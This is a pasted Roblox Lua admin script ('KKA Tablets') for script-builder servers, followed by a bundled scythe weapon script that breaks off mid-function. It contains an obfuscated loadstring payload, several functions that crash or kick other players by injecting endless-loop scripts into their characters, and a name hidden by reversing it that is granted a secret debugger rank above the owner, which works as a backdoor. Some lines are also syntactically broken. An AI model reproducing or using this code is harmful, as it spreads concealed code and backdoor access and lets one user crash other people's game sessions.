Advertisement
iiDeadzone

Tabs

Jul 4th, 2015
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Database = {
  2. ["Colors"] = {
  3. ["Olive"] = Color3.new(0.5,1,0);
  4. ["BlueishGreen"] = Color3.new(0,1,0.5),
  5. ["Aqua"] = Color3.new(0,1,1),
  6. ["SoftBlue"] = Color3.new(0,0.5,1),
  7. ["Purple"] = Color3.new(0.5,0,1),
  8. ["CustomMagenta"] = Color3.new(0.75,0,0.75),
  9. ["Red"] = Color3.new(1,0,0),
  10. ["PinkRed"] = Color3.new(1,0,0.5),
  11. ["Pink"] = Color3.new(1,0,1),
  12. ["Orange"] = Color3.new(1,0.5,0),
  13. ["Yellow"] = Color3.new(1,1,0),
  14. ["Green"] = Color3.new(0,1,0),
  15. ["Blue"] = Color3.new(0,0,1),
  16. ["Cyan"] = Color3.new(0,0.6,1),
  17. ["LightBlue"] = Color3.new(0,1,1),
  18. ["Magenta"] = Color3.new(0.54,0,0.54),
  19. ["White"] = Color3.new(1,1,1),
  20. ["Grey"] = Color3.new(0.5,0.5,0.5),
  21. ["Black"] = Color3.new(0,0,0),
  22. };
  23. ["AdvancedColors"] = {
  24. ["CustomPurple"] = Color3.new(102/255, 51/255, 153/255);
  25. ["Random"] = Color3.new(255,255,255)--Lol it's actually white
  26. };
  27. ["Music"] = {
  28. ["Original Chrono Trigger Theme"] = 1280463,
  29. ["Rickroll"] = 2027611,
  30. ["Mario Game"] = 1280470,
  31. ["Carmell Dansen"] = 2303479,
  32. ["Japanese Chior"] = 1372258,
  33. ["One Winged Angel"] = 1372260,
  34. ["M.U.L.E. "] = 1077604,
  35. ["FFVII Battle AC"] = 1280473,
  36. ["Cursed Abbey"] = 1372257,
  37. ["Fire Emblem"] = 1372259,
  38. ["Final Destination"] = 1280414,
  39. ["Pokemon Theme"] = 1372261,
  40. ["SSM End"] = 1372262,
  41. ["Winds of Fjords"] = 1015394,
  42. ["Halo Theme"] = 1034065,
  43. ["Medevil style music"] = 5982975,
  44. ["Woman King"] = 5986151,
  45. ["Awakenking"] = 27697277,
  46. ["Better off"] = 27697392,
  47. ["DOTR"] = 11420922,
  48. ["Entertainer"] = 27697267,
  49. ["Flight Bumblebee"] = 27697719,
  50. ["Foggy Montain"] = 27697298,
  51. ["Gothic"] = 27697743,
  52. ["Hip Hop"] = 27697735,
  53. ["Music 4 a Film"] = 27697713,
  54. ["Nezzera"] = 8610025,
  55. ["Resist"] = 27697234,
  56. ["Schala"] = 5985787,
  57. ["TOPW"] = 11420933,
  58. ["Toccata Fugue"] = 11231513,
  59. ["Tunnel"] = 9650822
  60. };
  61. };
  62. a,b = ypcall(function()
  63.    
  64.  
  65. script.Name = "KKA TABLETS G6"
  66. Plrs = game:GetService("Players")
  67. Work = game:GetService("Workspace")
  68. Light = game:GetService("Lighting")
  69. Net = game:GetService("NetworkServer")
  70. Owner = "iiDeadzon" --*Name Here*--
  71. Owner2 = "" --*Friend's Name Here*--
  72. TabletSize=Vector3.new(2,2.5,0.2)
  73. TabletTransparency=0.17
  74. SourceName = ''
  75. ScriptLines = 0
  76. LSource = nil
  77. SB = ''
  78. FCColor = BrickColor.new("Hot pink").Color --*Friends Favorite Color Here*--
  79. CColor = BrickColor.new("Royal purple").Color --*Your Favorite Color Here*--
  80. Scale=Vector3.new(2,2,2)
  81. script.Parent = nil
  82. SSource = script:Clone()
  83. SSource.Disabled = true
  84. Removed = false
  85. Bet = "/"
  86. Bet2 = "/"
  87. Version = [[6.7]]
  88. Updates = [[ Added Skit, Shadow kit :D ]]
  89.  
  90. local z={["~"]=0,["$"]=1,["+"]=2,["#"]=3,["="]=4,["_"]=5,["*"]=6,["("]=7,["%"]=8,[")"]=9,["!"]=10,["^"]=11,["-"]=12,["@"]=13,["&"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
  91. "?=*(_*+(+()*=*_*#=?*=*_*~+@#~A+#=%*)*!(_(+(_(&#$=#(_(&*$*~+^*++" -- Override code is "Chizuru>Asuna k"
  92. }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
  93. LS = nil
  94. LogOn = false
  95. Priv = false
  96. False = false
  97. ScriptingLocked = false
  98. Yes = 0
  99. No = 0
  100. CrashPhrases = false
  101. Current = game
  102. Clipboard = {}
  103. CrashWords = {'TeleportService'}
  104. Chats = {}
  105. PrivPlrs = {'Cobalt1164','einsteinK'}
  106. OptionColor = BrickColor.new("Really red").Color
  107. ImportantColor = BrickColor.new("Royal purple").Color
  108. if script:findFirstChild("source") then
  109.     SourceName = 'source'
  110.     SB = [[Alakazard]]
  111. elseif script:findFirstChild('DSource') then
  112.     SourceName = 'DSource'
  113.     SB = [[Anaminus]]
  114. elseif script:findFirstChild('Source') then
  115.     SourceName = 'Source'
  116.     SB = [[Oxcool]]
  117. else
  118.     SourceName = "No Source Name"
  119.     SB = [[Unknown]]
  120. end
  121. RanksList = {
  122.     [-4] = {Name = "Removed", Color = BrickColor.new("Really black").Color, Desc = "SB Removed"},
  123.     [-3] = {Name = "Crashed", Color = BrickColor.new("Hot pink").Color, Desc = "Crashed on joined"},
  124.     [-2] = {Name = "Lagged", Color = BrickColor.new("Really red").Color, Desc = "Lagged on joined"},
  125.     [-1] = {Name = "Banned", Color = BrickColor.new("Bright red").Color, Desc = "Forever banned"},
  126.     [0] = {Name = "Player", Color = BrickColor.new("Really black").Color, Desc = "Regular player"},
  127.     [1] = {Name = "Helper", Color = BrickColor.new("New Yeller").Color, Desc = "Helper"},
  128.     [2] = {Name = "Administrator", Color = BrickColor.new("Bright orange").Color, Desc = "Administrator"},
  129.     [3] = {Name = "Moderator", Color = BrickColor.new("Deep orange").Color, Desc = "Moderator"},
  130.     [4] = {Name = "Maximum Moderator", Color = BrickColor.new("Magenta").Color, Desc = "Maximum Moderator of the server"},
  131.     [5] = {Name = "Maximum Administrator", Color = BrickColor.new("Pastel Blue").Color, Desc = "Maximum Administrator of the server"},
  132.     [6] = {Name = "BFFL", Color = FCColor, Desc = "Mah BFFLS"},
  133.     [7] = {Name = "Creator", Color = CColor, Desc = "Creator"},
  134. }
  135. Ranked = {
  136.     {Name = "iiDeadzone", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Me
  137. }
  138. table.insert(Ranked, {Name = Owner, Rank = 7, Color = CColor})
  139. table.insert(Ranked, {Name = Owner2, Rank = 6, Color = FCColor})
  140. ImportantServices = {
  141.     "Workspace",
  142.     "Players",
  143.     "NetworkServer",
  144.     "Lighting",
  145.     "StarterGui",
  146.     "Teams",
  147.     "StarterPack",
  148.     "HttpService",
  149.     "ServerStorage",
  150.     "ServerScriptService",
  151.     "ReplicatedStorage",
  152. }
  153. Ranks = {}
  154. Commands = {}
  155. AllTabs = {}
  156. Injected = {}
  157. wait()
  158. coroutine.wrap(function()
  159.     while wait() do
  160.         if LSource ~= nil then break end
  161.         if SourceName == "source" then break end
  162.         for _,v in pairs(game.Players:players()) do
  163.             if LSource ~= nil then break end
  164.             pcall(function()
  165.                 for j,k in pairs(v.Backpack:children()) do
  166.                     if LSource ~= nil then break end
  167.                     if k.ClassName == 'LocalScript' then
  168.                         if k:findFirstChild(SourceName) ~= nil then
  169.                             k.Archivable = true
  170.                             LSource = k:Clone()
  171.                             LSource.Disabled = true
  172.                             Output("Source found",Seaker,5)
  173.                             break
  174.                         end
  175.                     end
  176.                     wait()
  177.                 end
  178.                 for j,k in pairs(v.Character:children()) do
  179.                     if LSource ~= nil then break end
  180.                     if k.ClassName == 'LocalScript' then
  181.                         if k:findFirstChild(SourceName) ~= nil then
  182.                             k.Archivable = true
  183.                             LSource = k:Clone()
  184.                             LSource.Disabled = true
  185.                             Output("Source found",Speaker,5)
  186.                             break
  187.                         end
  188.                     end
  189.                     wait()
  190.                 end
  191.             end)
  192.         end
  193.     end
  194. end)()
  195. function Disconnect(str)
  196.     local a = Instance.new("StringValue", game:service'Lighting')
  197.     a.Name = 'Disconnect'
  198.     a.Value = tostring(str)
  199.     game:service'Debris':AddItem(a,5)
  200. end
  201. function CheckImportant(Name)
  202.     for _,v in pairs(ImportantServices) do
  203.         if v:lower() == Name:lower() then
  204.             return true
  205.         end
  206.     end
  207.     return false
  208. end
  209. function NewS(sourcev, parent)
  210.     if SourceName == 'source' then
  211.         NS(source,parent)
  212.     else
  213.         local s = SSource:Clone()
  214.         s.Parent = parent
  215.         if s:findFirstChild(SourceName) ~= nil then
  216.             source = s:findFirstChild(SourceName)
  217.         else
  218.             source = Instance.new("StringValue", s)
  219.             source.Name = SourceName
  220.         end
  221.         if source then
  222.             source.Value = sourcev
  223.         else
  224.             Output("Something went wrong",nil,5)
  225.         end
  226.         wait()
  227.         s.Disabled = false
  228.     end
  229. end
  230. function NewLS(sourcev,parent, lock)
  231.     if SourceName == 'source' then
  232.         NLS(sourcev,parent)
  233.     elseif LSource then
  234.         local s = LSource:Clone()
  235.         s.Parent = parent
  236.         if s:findFirstChild(SourceName) ~= nil then
  237.             source = s:findFirstChild(SourceName)
  238.         else
  239.             source = Instance.new("StringValue", s)
  240.             source.Name = SourceName
  241.         end
  242.         if source then
  243.             source.Value = sourcev
  244.         else
  245.             Output("Something wen't wrong",nil,5)
  246.             return
  247.         end
  248.         wait()
  249.         if lock == true then
  250.             for i = 0,5 do
  251.                 s.Disabled = false
  252.                 wait(0.5)
  253.                 s.Disabled = true
  254.                 wait(0.5)
  255.                 s.Disabled = false
  256.             end
  257.         else
  258.             s.Disabled = false
  259.         end
  260.         return s
  261.     else
  262.         Output("No source",nil,5)
  263.     end
  264. end
  265. function RemoteCrash(Nil)
  266.     local chinws = false
  267.     for i,v in pairs(workspace:children()) do
  268.         if v.Name:find(Nil) ~= nil then
  269.             NewLS("repeat until false", v)
  270.             Output("Crashed "..v.Name.." from workspace",nil,5)
  271.             chinws = true
  272.         end
  273.     end
  274.     if chinws == true then return end
  275.     for i,v in pairs(game:service'NetworkServer':children()) do
  276.         if v:GetPlayer() then
  277.             if v:GetPlayer().Name == Nil then
  278.                 if v:GetPlayer().Character ~= nil then
  279.                     NewLS("repeat until false", v:GetPlayer().Character)
  280.                     OutputAdmins('Crashed '..v:GetPlayer().Name..' by character','Really red')
  281.                 elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then
  282.                     NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack')
  283.                     OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red')
  284.                 elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then
  285.                     NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui')
  286.                     OutputAdmins('Crashed '..v:GetPlayer().Name..' by playergui','Really red')
  287.                 else
  288.                     NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer()))
  289.                     OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red')
  290.                 end
  291.             end
  292.         end
  293.     end
  294. end
  295. function Crash1(Plr)
  296.     ypcall(function()
  297.         Plr:Kick()
  298.     end)
  299. end
  300. function GetRankTab()
  301.     return Ranked
  302. end
  303. function Crash2(Name)
  304.     local Crasher = Instance.new("StringValue")
  305.     Crasher.Name = "Client"
  306.     Crasher.Value = string.lower(tostring(Name))
  307.     Crasher.Parent = game:GetService("Lighting")
  308.     wait(1)
  309.     if Crasher and Crasher.Parent then
  310.         ypcall(function()
  311.             Crasher:Destroy()
  312.         end)
  313.     end
  314. end
  315. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)}
  316. function Crash3(v, Speaker)
  317.     Speaker.Character.Archivable = true
  318.     local NChar = Speaker.Character:Clone()
  319.     NChar.Name = v.Name
  320.     NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  321.     NChar.Parent = Workspace
  322.     v.Character = NChar
  323.     coroutine.resume(coroutine.create(function()
  324.         repeat v.Character = NChar
  325.         wait(1/3) until false
  326.     end))
  327.     wait(.5)
  328. end
  329. function Crash4(Name)
  330.     NewLS("repeat until false", Name)
  331. end
  332. function Crash5(Name)
  333.     local a = Instance.new("StringValue", game.Lighting)
  334.         a.Name = "DISC: "..Name
  335.         game:service'Debris':AddItem(a, 3)
  336. end
  337. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)}
  338. RanksList[8] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  339. function GenerateDigit()
  340.     return 1 + 5
  341. end
  342. TestOp1 = [[
  343. LocalPlayer = game.Players.LocalPlayer
  344. LocalPlayer.Character.Humanoid.MaxHealth = math.huge
  345. Activated = false
  346. Equipped = false
  347. Regening = false
  348. FireBall = false
  349. Spikes = false
  350. Destiny = false
  351. Explosion = false
  352. Tornado = false
  353. Wall = false
  354. Armor = false
  355. shooting = false
  356. Mode = "Shoot"
  357. Energy = 10000
  358. mouse = LocalPlayer:GetMouse()
  359. t = Instance.new("Tool",LocalPlayer.Backpack)
  360. t.Name = 'Cobalt1164s Phantom Scythe'
  361. t.GripPos = Vector3.new(0,0,0)
  362. p = Instance.new("Part",t)
  363. p.FormFactor = 'Custom'
  364. p.Name = 'Handle'
  365. p.Transparency = 0.3
  366. p.Reflectance = 0.3
  367. p.CanCollide = false
  368. p.BrickColor = BrickColor.new("Really black")
  369. m = Instance.new("SpecialMesh",p)
  370. m.MeshId = 'http://www.roblox.com/asset/?id=95891318'
  371. m.TextureId = 'http://www.roblox.com/asset/?id='
  372. m.Scale = Vector3.new(1,1,1)
  373. char = LocalPlayer.Character
  374. mouse = LocalPlayer:GetMouse()
  375. humanoid = char:findFirstChild("Humanoid")
  376. torso = char:findFirstChild("Torso")
  377. head = char.Head
  378. local Colors = {"Royal Purple","Really black"}
  379. ra = char:findFirstChild("Right Arm")
  380. la = char:findFirstChild("Left Arm")
  381. rl = char:findFirstChild("Right Leg")
  382. ll = char:findFirstChild("Left Leg")
  383. rs = torso:findFirstChild("Right Shoulder")
  384. ls = torso:findFirstChild("Left Shoulder")
  385. rh = torso:findFirstChild("Right Hip")
  386. lh = torso:findFirstChild("Left Hip")
  387. neck = torso:findFirstChild("Neck")
  388. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  389. anim = char:findFirstChild("Animate")
  390. rootpart = char:findFirstChild("HumanoidRootPart")
  391. camera = workspace.CurrentCamera
  392. if anim then
  393.     anim:Destroy()
  394. end
  395. rm = Instance.new("Motor", torso)
  396. rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
  397. rm.C1 = CFrame.new(0, 0.5, 0)
  398. rm.Part0 = torso
  399. rm.Part1 = ra
  400. lm = Instance.new("Motor", torso)
  401. lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
  402. lm.C1 = CFrame.new(0, 0.5, 0)
  403. lm.Part0 = torso
  404. lm.Part1 = la
  405. rlegm = Instance.new("Motor", torso)
  406. rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0)
  407. rlegm.C1 = CFrame.new(0, 1, 0)
  408. rlegm.Part0 = torso
  409. rlegm.Part1 = rl
  410. llegm = Instance.new("Motor", torso)
  411. llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0)
  412. llegm.C1 = CFrame.new(0, 1, 0)
  413. llegm.Part0 = torso
  414. llegm.Part1 = ll
  415. rsc0 = rm.C0
  416. lsc0 = lm.C0
  417. llc0 = llegm.C0
  418. rlc0 = rlegm.C0
  419. neckc0 = neck.C0
  420. rootc0 = rj.C0
  421. PLAYERGUI = LocalPlayer.PlayerGui
  422. GUI = Instance.new("ScreenGui",PLAYERGUI)
  423. FRAME = Instance.new("Frame",GUI)
  424. FRAME.Size = UDim2.new(0.5,0,0.05,0)
  425. FRAME.BackgroundColor3 = BrickColor.new("Bright bluish green").Color
  426. FRAME.BorderSizePixel = 0
  427. FRAME.BackgroundTransparency = 0.8
  428. TEXTLABEL = Instance.new("TextLabel",FRAME)
  429. TEXTLABEL.Size = UDim2.new(1,0,1,0)
  430. TEXTLABEL.BackgroundTransparency = 1
  431. TEXTLABEL.Text = "Power: "..tostring(Energy)
  432. TEXTLABEL.TextColor3 = BrickColor.new("Bright bluish green").Color
  433. TEXTLABEL.TextStrokeColor3 = BrickColor.new("Bright blue").Color
  434. TEXTLABEL.BorderSizePixel = 0
  435. TEXTLABEL.Font = 'SourceSansBold'
  436. TEXTLABEL.FontSize = 'Size36'
  437. TEXTLABEL.TextStrokeTransparency = 0
  438. FRAME2 = Instance.new("Frame",GUI)
  439. FRAME2.Size = UDim2.new(0.5,0,0.05,0)
  440. FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color
  441. FRAME2.BorderSizePixel = 0
  442. FRAME2.Position = UDim2.new(0.5,0,0,0)
  443. FRAME2.BackgroundTransparency = 0.8
  444. TEXTLABEL2 = Instance.new("TextLabel",FRAME2)
  445. TEXTLABEL2.Size = UDim2.new(1,0,1,0)
  446. TEXTLABEL2.BackgroundTransparency = 1
  447. TEXTLABEL2.Text = "Current Health: "..tostring(humanoid.Health)
  448. TEXTLABEL2.TextColor3 = BrickColor.new("Really red").Color
  449. TEXTLABEL2.TextStrokeColor3 = BrickColor.new("Bright red").Color
  450. TEXTLABEL2.BorderSizePixel = 0
  451. TEXTLABEL2.BorderSizePixel = 0
  452. TEXTLABEL2.Font = 'SourceSansBold'
  453. TEXTLABEL2.FontSize = 'Size36'
  454. FRAME3 = Instance.new("Frame",GUI)
  455. FRAME3.Size = UDim2.new(0.5,0,0.05,0)
  456. FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color
  457. FRAME3.BorderSizePixel = 0
  458. FRAME3.Position = UDim2.new(0.5,0,0.05,0)
  459. FRAME3.BackgroundTransparency = 0.8
  460. TEXTLABEL3 = Instance.new("TextLabel",FRAME3)
  461. TEXTLABEL3.Size = UDim2.new(1,0,1,0)
  462. TEXTLABEL3.BackgroundTransparency = 1
  463. TEXTLABEL3.Text = "Strength: Dark Wyvern"
  464. TEXTLABEL3.BorderSizePixel = 0
  465. TEXTLABEL3.Font = 'SourceSansBold'
  466. TEXTLABEL3.FontSize = 'Size24'
  467. function __getVelocity(p1,p2,speed)
  468.     local dis=(p1-p2).magnitude
  469.     if speed=="dis" then
  470.         if dis*6>100 then
  471.             speed=dis*6
  472.         else
  473.             speed=100
  474.         end
  475.     end
  476.     local x=(p1.x-p2.x)/dis*speed
  477.     local y=(p1.y-p2.y)/dis*speed
  478.     local z=(p1.z-p2.z)/dis*speed
  479.     return Vector3.new(-x,-y+10,-z)
  480. end
  481. function __onActivated()
  482.     Activated = true
  483. end
  484. function __onDeactivated()
  485.     Activated = false
  486. end
  487. function __onEquipped(mouse)
  488.     Equipped = true
  489.     pcall(function()
  490.         local a = Instance.new("Explosion",LocalPlayer.Character)
  491.         a.Position = LocalPlayer.Character['Right Arm'].Position
  492.         a.BlastPressure = 0
  493.         a.BlastRadius = 50
  494.         local l = Instance.new("PointLight", LocalPlayer.Character.Torso)
  495.         l.Brightness = 20
  496.         l.Color = Color3.new(1,1,1)
  497.         l.Enabled = true
  498.         l.Range = 20
  499.         l.Shadows = true
  500.     end)
  501.     local b = Instance.new("Fire",p)
  502.     b.Size = 1
  503.     b.Color = Color3.new(255, 255, 255)
  504.     b.SecondaryColor = Color3.new(0, 255, 255)
  505.     local l = Instance.new("PointLight", p)
  506.     l.Brightness = 20
  507.     l.Color = Color3.new(1,1,1)
  508.     l.Enabled = true
  509.     l.Range = 20
  510.     l.Shadows = true
  511.     local w = Instance.new("Motor",char['Right Arm'])
  512.     w.Name = 'phantom scythe weld'
  513.     w.Part0 = char['Right Arm']
  514.     w.Part1 = p
  515.     w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0)
  516. end
  517. function __onUnequipped(mouse)
  518.     Equipped = false
  519.     pcall(function()
  520.         p.Fire:Destroy()
  521.     end)
  522.     pcall(function()
  523.         char['Right Arm']['phantom scythe weld']:Destroy()
  524.     end)
  525. end
  526. function __Shoot()
  527.     if Regening == true then return end
  528.     if Energy < 50 then return end
  529.     shooting = true
  530.     game:GetService("Chat"):Chat(head,"[ Dark Wyvern! ]",2)
  531.     Energy = Energy - 150
  532.     humanoid.WalkSpeed = 30
  533.     local speed = math.random(400,500)
  534.     local bullet = Instance.new("Part",workspace)
  535.     bullet.Name = 'Bullet'
  536.     bullet.TopSurface = 0
  537.     bullet.BottomSurface = 0
  538.     bullet.Size = Vector3.new(30,30,30)
  539.     bullet.FormFactor = 'Custom'
  540.     bullet.CFrame = p.CFrame
  541.     bullet.CanCollide = false
  542.     bullet.BrickColor = BrickColor.new("Really black")
  543.     bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed)
  544.     bullet.FrontSurface = "Smooth"
  545.     bullet.BottomSurface = "Smooth"
  546.     local pie = Instance.new("PointLight", bullet)
  547.     pie.Brightness = 5000
  548.     pie.Color = BrickColor.new("Really red").Color
  549.     pie.Range = 60
  550.     local bulletmesh = Instance.new("SpecialMesh",bullet)
  551.     bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=95891318'
  552.     bulletmesh.VertexColor = Vector3.new(0,0,0)
  553.     bullet.Touched:connect(function(toucher)
  554.         if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then
  555.             for i,v in pairs(toucher.Parent:children()) do
  556.                 if v.ClassName == 'Humanoid' then
  557.                     if v.Health > 100 then
  558.                         v.Health = 0
  559.                     else
  560.                         v.Health = v.Health - speed/50
  561.                     end
  562.                 end
  563.             end
  564.             bullet:Destroy()
  565.         end
  566.     end)
  567.     wait(1)
  568.     shooting = false
  569.     humanoid.WalkSpeed = 100
  570. end
  571. function __Armor()
  572.     if Regening == true then return end
  573.     if Energy < 1000 then return end
  574.     if FireBall == true then return end
  575.     Energy = Energy - 1000
  576.     game:GetService("Chat"):Chat(head,"[ Armor of Constealing Light! ]",2)
  577.     local a = Instance.new("Part",workspace)
  578.     a.Anchored = true
  579.     a.CanCollide = false
  580.     a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
  581.     a.FormFactor = 'Custom'
  582.     a.Size = Vector3.new(500,500,500)
  583.     a.Transparency = 0.5
  584.     a.BrickColor = BrickColor.new("Really black")
  585.     a.FrontSurface = "Smooth"
  586.     a.BottomSurface = "Smooth"
  587.     local pie = Instance.new("PointLight", a)
  588.     pie.Brightness = 5000
  589.     pie.Color = BrickColor.new("Really blue").Color
  590.     pie.Range = 60
  591.     Instance.new("SpecialMesh", a).MeshType = 'Sphere'
  592.     local con = a.Touched:connect(function(what)
  593.         if what.Parent.Name ~= LocalPlayer.Name then
  594.             if what:IsA("Part") then
  595.                 local ex2 = Instance.new("Explosion", workspace)
  596.                 ex2.Position = what.Position
  597.                 ex2.BlastPressure = 0
  598.                 ex2.BlastRadius = 50
  599.                 wait(1)
  600.                 what:Destroy()
  601.             end
  602.         end
  603.     end)
  604.     coroutine.wrap(function()
  605.         Armor = true
  606.         humanoid.WalkSpeed = 30
  607.         for i = 0,1,0.05 do
  608.             a.Mesh.Scale = Vector3.new(i,i,i)
  609.             a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
  610.             wait()
  611.         end
  612.         Armor = false
  613.         humanoid.WalkSpeed = 100
  614.     end)()
  615.     coroutine.wrap(function()
  616.         wait(5)
  617.         Instance.new("Explosion",workspace).Position = a.Position
  618.         a:Destroy()
  619.     end)()
  620. end
  621. function __FireBall()
  622.     if Regening == true then return end
  623.     if Energy < 150 then return end
  624.     if FireBall == true then return end
  625.     Energy = Energy - 150
  626.     game:GetService("Chat"):Chat(head,"[ Dark Black-Fire! ]",2)
  627.     local a = Instance.new("Part",workspace)
  628.     a.Anchored = true
  629.     a.CanCollide = false
  630.     a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
  631.     a.FormFactor = 'Custom'
  632.     a.Size = Vector3.new(100,100,100)
  633.     a.Transparency = 0.5
  634.     a.BrickColor = BrickColor.new("Really black")
  635.     a.FrontSurface = "Smooth"
  636.     a.BottomSurface = "Smooth"
  637.     local pie = Instance.new("PointLight", a)
  638.     pie.Brightness = 5000
  639.     pie.Color = BrickColor.new("Really blue").Color
  640.     pie.Range = 60
  641.     Instance.new("SpecialMesh", a).MeshType = 'Sphere'
  642.     local con = a.Touched:connect(function(what)
  643.         if what.Parent.Name ~= LocalPlayer.Name then
  644.             if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  645.                 what:Destroy()
  646.             end
  647.         end
  648.     end)
  649.     coroutine.wrap(function()
  650.         FireBall = true
  651.         humanoid.WalkSpeed = 0
  652.         for i = 0,1,0.05 do
  653.             a.Mesh.Scale = Vector3.new(i,i,i)
  654.             wait()
  655.         end
  656.         FireBall = false
  657.         humanoid.WalkSpeed = 100
  658.         while wait() do
  659.             if a == nil or a.Parent ~= workspace then break end
  660.             a.CFrame = a.CFrame * CFrame.new(0,0,-1)
  661.         end
  662.         con:disconnect()
  663.     end)()
  664.     coroutine.wrap(function()
  665.         wait(5)
  666.         Instance.new("Explosion",workspace).Position = a.Position
  667.         a:Destroy()
  668.     end)()
  669. end
  670. function __Wall()
  671.     if Regening == true then return end
  672.     if Energy < 200 then return end
  673.     if Wall == true then return end
  674.     Energy = Energy - 200
  675.     game:GetService("Chat"):Chat(head,"[ Wall of Stealing Souls! ]",2)
  676.     local a = Instance.new("Part",workspace)
  677.     a.Anchored = true
  678.     a.CanCollide = false
  679.     a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-20)
  680.     a.FormFactor = 'Custom'
  681.     a.Size = Vector3.new(500,500,50)
  682.     a.Transparency = 0.5
  683.     a.BrickColor = BrickColor.new("Really black")
  684.     a.FrontSurface = "Smooth"
  685.     a.BottomSurface = "Smooth"
  686.     local pie = Instance.new("PointLight", a)
  687.     pie.Brightness = 5000
  688.     pie.Color = BrickColor.new("Really red").Color
  689.     pie.Range = 60
  690.     local con = a.Touched:connect(function(what)
  691.         if what.Parent.Name ~= LocalPlayer.Name then
  692.             if what.Name == "Part" or "Sand" or "Blast" or "Ray" then
  693.                 what:Remove()
  694.             elseif what.Name == "Base" or "Baseplate" then
  695.                 return
  696.             end
  697.         end
  698.     end)
  699.     coroutine.wrap(function()
  700.         Wall = true
  701.         humanoid.WalkSpeed = 0
  702.         wait(2)
  703.         Wall = false
  704.         humanoid.WalkSpeed = 100
  705.         con:disconnect()
  706.         p:Remove()
  707.     end)()
  708.     coroutine.wrap(function()
  709.         wait(5)
  710.         Instance.new("Explosion",workspace).Position = a.Position
  711.         a:Destroy()
  712.     end)()
  713. end
  714. function __Tornado()
  715.     if Regening == true then return end
  716.     if Energy < 150 then return end
  717.     if Tornado == true then return end
  718.     Energy = Energy - 150
  719.     game:GetService("Chat"):Chat(head,"[ Black Wind ]",2)
  720.     local a = Instance.new("Part",workspace)
  721.     a.Anchored = true
  722.     a.CanCollide = false
  723.     a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50)
  724.     a.FormFactor = 'Custom'
  725.     a.Size = Vector3.new(100,100,100)
  726.     a.Transparency = 0.5
  727.     a.Reflectance = 0.5
  728.     a.BrickColor = BrickColor.new("Really black")
  729.     a.BottomSurface = "Smooth"
  730.     a.TopSurface = "Smooth"
  731.     local pie = Instance.new("PointLight", a)
  732.     pie.Brightness = 5000
  733.     pie.Color = BrickColor.new("Really blue").Color
  734.     pie.Range = 10
  735.     local b = Instance.new("SpecialMesh",a)
  736.     b.MeshId = 'http://www.roblox.com/asset/?id=16606212'
  737.     b.VertexColor = Vector3.new(1, 1, 1)
  738.     b.Scale = Vector3.new(10, 10, 10)
  739.     local con = a.Touched:connect(function(what)
  740.         if what.Parent.Name ~= LocalPlayer.Name then
  741.             if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  742.                 what:Destroy()
  743.             end
  744.         end
  745.     end)
  746.     coroutine.wrap(function()
  747.         Tornado = true
  748.         humanoid.WalkSpeed = 0
  749.         for i = 0,1,0.05 do
  750.             a.Mesh.Scale = Vector3.new(10,10,10)
  751.             wait()
  752.         end
  753.         Tornado = false
  754.         humanoid.WalkSpeed = 100
  755.         while wait() do
  756.             if a == nil or a.Parent ~= workspace then break end
  757.             a.CFrame = a.CFrame * CFrame.new(0,0,-1)
  758.         end
  759.         con:disconnect()
  760.     end)()
  761.     coroutine.wrap(function()
  762.         wait(5)
  763.         Instance.new("Explosion",workspace).Position = a.Position
  764.         a:Destroy()
  765.     end)()
  766. end
  767. function __Destiny()
  768.     if Regening == true then return end
  769.     if Energy < 200 then return end
  770.     if Destiny == true then return end
  771.     Energy = Energy - 200
  772.     game:GetService("Chat"):Chat(head,"[ Scythe's Shadow ]",2)
  773.     local a = Instance.new("Part",workspace)
  774.     a.Anchored = true
  775.     a.CanCollide = false
  776.     a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50)
  777.     a.FormFactor = 'Custom'
  778.     a.Size = Vector3.new(1000,0.2,50)
  779.     a.BottomSurface = 'Smooth'
  780.     a.TopSurface = 'Smooth'
  781.     a.Transparency = 0.5
  782.     a.BrickColor = BrickColor.new("Really black")
  783.     local pie = Instance.new("PointLight", a)
  784.     pie.Brightness = 5000
  785.     pie.Color = BrickColor.new("Really blue").Color
  786.     pie.Range = 20
  787.     Instance.new("SpecialMesh", a).MeshType = 'Sphere'
